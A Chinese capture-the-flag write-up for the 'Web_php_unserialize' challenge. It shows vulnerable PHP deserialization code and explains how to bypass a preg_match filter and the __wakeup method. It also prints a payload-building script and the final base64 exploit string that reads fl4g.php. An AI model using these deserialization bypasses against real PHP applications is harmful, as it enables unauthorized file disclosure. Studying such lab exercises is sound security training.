攻防世界Web_php_unserialize
打开题目,就可以审计代码,是一个反序列化的题目
我们先贴源码吧
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
?>
首先定义了一个demo类,然后发现初始化改变file值,而且,有一段注释:the secret is in the fl4g.php
如果demo类被销毁,则会高亮显示file所指向的文件的类容
demo中还有一个魔法函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以想反序列化,那么必须要绕过这个函数,绕过这个函数很简单,只要我们的实际参数小于当前参数的个数就可以绕过。
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
这里进行了变量的传入,使用的方法时get传参
1. 首先base64加密
2.使用了preg_match()匹配函数,如果匹配上了,就结束。如果没有则就将这个对象反序列化
所以这里要想办法绕过这个匹配函数。preg_match()匹配的为o或c:任意长度数字(至少一个) i表示匹配时不区分大小写
接下来我们先将所给的类反序列化
<?php
class Demo {
private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
结果:TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
将这个base64代码传参给var得到flag


浙公网安备 33010602011771号